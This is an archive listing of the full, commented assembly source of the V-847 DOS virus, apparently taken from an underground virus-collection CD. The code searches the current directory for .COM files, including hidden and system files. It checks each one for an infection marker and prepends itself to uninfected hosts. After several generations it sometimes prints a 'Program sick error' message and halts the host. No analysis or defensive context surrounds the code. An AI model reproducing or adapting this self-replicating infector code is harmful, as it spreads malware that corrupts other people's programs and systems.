home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / c / c-847.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  4.9 KB  |  150 lines

  1.       page      ,132
  2.  
  3.       name       V847
  4.  
  5.       title      The V-847 virus
  6.  
  7.      .radix      16
  8.  
  9.       code       segment
  10.  
  11.       assume     cs:code,ds:code
  12.  
  13.       org        100
  14.  
  15.  
  16.  
  17. timer       equ      6C
  18.  
  19. olddta      equ      80
  20.  
  21. virlen      equ      offset endcode - offset start
  22.  
  23. smalcod     equ      offset endcode - offset transf
  24.  
  25. buffer      equ      offset endcode + 100
  26.  
  27. newdta      equ      offset endcode + 10
  28.  
  29. fname   =      newdta + 1E
  30.  
  31. virlenx =      offset endcode - offset start
  32.  
  33. newid   =      offset ident + virlenx + 100
  34.  
  35.  
  36.  
  37. start:
  38.  
  39.       jmp      virus
  40.  
  41.  
  42.  
  43. ident      dw      'VI'
  44.  
  45. counter    db      0
  46.  
  47. allcom     db      '*.COM',0
  48.  
  49. vleng      dw      44F            ;Unused
  50.  
  51. progbeg    dd      10000h
  52.  
  53. eof        dw      ?
  54.  
  55. handle     dw      ?
  56.  
  57.  
  58.  
  59. virus:
  60.  
  61.       mov      ax,cs            ;Move program code
  62.  
  63.       add      ax,1000          ; 64K bytes forward
  64.  
  65.       mov      es,ax
  66.  
  67.       inc      [counter]
  68.  
  69.       mov      si,offset start
  70.  
  71.       xor      di,di
  72.  
  73.       mov      cx,virlen
  74.  
  75.       rep      movsb
  76.  
  77.  
  78.  
  79.       mov      dx,newdta        ;Set new Disk Transfer Address
  80.  
  81.       mov      ah,1A            ;Set DTA
  82.  
  83.       int      21
  84.  
  85.       mov      dx,offset allcom ;Search for '*.COM' files
  86.  
  87.       mov      cx,110b          ;Normal, Hidden or System
  88.  
  89.       mov      ah,4E            ;Find First file
  90.  
  91.       int      21
  92.  
  93.       jc      done              ;Quit if none found
  94.  
  95.  
  96.  
  97. mainlp:
  98.  
  99.       mov      dx,offset fname
  100.  
  101.       mov      ax,3D02          ;Open file in Read/Write mode
  102.  
  103.       int      21
  104.  
  105.       mov      [handle],ax      ;Save handle
  106.  
  107.       mov      bx,ax
  108.  
  109.       push      es
  110.  
  111.       pop      ds
  112.  
  113.       mov      dx,buffer
  114.  
  115.       mov      cx,0FFFF         ;Read all bytes
  116.  
  117.       mov      ah,3F            ;Read from handle
  118.  
  119.       int      21               ;Bytes read in AX
  120.  
  121.       add      ax,buffer
  122.  
  123.       mov      cs:[eof],ax      ;Save pointer to the end of file
  124.  
  125.       db      3E                ;Force DS: prefix
  126.  
  127.       cmp      [newid],'VI'     ;Infected?
  128.  
  129.       je      close             ;Go find next file
  130.  
  131.  
  132.  
  133.       xor      cx,cx            ;Go to file beginning
  134.  
  135.       mov      dx,cx
  136.  
  137.       mov      bx,cs:[handle]
  138.  
  139.       mov      ax,4200          ;LSEEK from the beginning of the file
  140.  
  141.       int      21
  142.  
  143.       jc      close             ;Leave this file if error occures
  144.  
  145.  
  146.  
  147.       mov      dx,0             ;Write the whole code (virus+file)
  148.  
  149.       mov      cx,cs:[eof]      ; back onto the file
  150.  
  151.       mov      bx,cs:[handle]
  152.  
  153.       mov      ah,40            ;Write to handle
  154.  
  155.       int      21
  156.  
  157.  
  158.  
  159. close:
  160.  
  161.       mov      bx,cs:[handle]
  162.  
  163.       mov      ah,3E            ;Close the file
  164.  
  165.       int      21
  166.  
  167.  
  168.  
  169.       push      cs
  170.  
  171.       pop      ds               ;Restore DS
  172.  
  173.       mov      ah,4F            ;Find next matching file
  174.  
  175.       mov      dx,newdta
  176.  
  177.       int      21
  178.  
  179.       jc      done              ;Exit if all found
  180.  
  181.       jmp      mainlp           ;Otherwise loop again
  182.  
  183.  
  184.  
  185. done:
  186.  
  187.       mov      dx,olddta        ;Restore old Disk Transfer Address
  188.  
  189.       mov      ah,1A            ;Set DTA
  190.  
  191.       int      21
  192.  
  193.  
  194.  
  195.       cmp      [counter],5      ;If counter goes above 5,
  196.  
  197.       jb      progok            ; the program becomes "sick"
  198.  
  199.       mov      ax,40
  200.  
  201.       mov      ds,ax            ;Get the system timer value
  202.  
  203.       mov      ax,word ptr ds:[timer]
  204.  
  205.       push      cs
  206.  
  207.       pop      ds               ;Restore DS
  208.  
  209.       and      ax,1             ;At random (if timer value is odd)
  210.  
  211.       jz      progok            ; display the funny message
  212.  
  213.       mov      dx,offset message
  214.  
  215.       mov      ah,9             ;Print string
  216.  
  217.       int      21
  218.  
  219.       int      20               ;Terminate program
  220.  
  221.  
  222.  
  223. message db      'Program sick error:Call doctor or '
  224.  
  225.       db      'buy PIXEL for cure description',0A,0Dh,'$'
  226.  
  227.  
  228.  
  229. progok:
  230.  
  231.       mov      si,offset transf ;Move this part of code
  232.  
  233.       mov      cx,smalcod       ;Code length
  234.  
  235.       xor      di,di            ;Move to ES:0
  236.  
  237.       rep      movsb            ;Do it
  238.  
  239.  
  240.  
  241.       xor      di,di            ;Clear DI
  242.  
  243.       mov      word ptr cs:[progbeg],0
  244.  
  245.       mov      word ptr cs:[progbeg+2],es  ;Point progbeg at program start
  246.  
  247.       jmp      cs:[progbeg]                ;Jump at program start
  248.  
  249.  
  250.  
  251. transf:
  252.  
  253.       push      ds
  254.  
  255.       pop      es
  256.  
  257.       mov      si,buffer+100
  258.  
  259.       cmp      [counter],1
  260.  
  261.       jne      skip
  262.  
  263.       sub      si,200
  264.  
  265. skip:
  266.  
  267.       mov      di,offset start
  268.  
  269.       mov      cx,0FFFF         ;Restore original program's code
  270.  
  271.       sub      cx,si
  272.  
  273.       rep      movsb
  274.  
  275.       mov      word ptr cs:[start],offset start
  276.  
  277.       mov      word ptr cs:[start+2],ds
  278.  
  279.       jmp      dword ptr cs:[start]      ;Jump to program start
  280.  
  281. endcode label      byte
  282.  
  283.  
  284.  
  285.       int      20               ;Dummy program
  286.  
  287.       int      20               ;???
  288.  
  289.  
  290.  
  291.       dw      0                 ;Unused
  292.  
  293.  
  294.  
  295. code      ends
  296.  
  297.       end      start
  298.  
  299.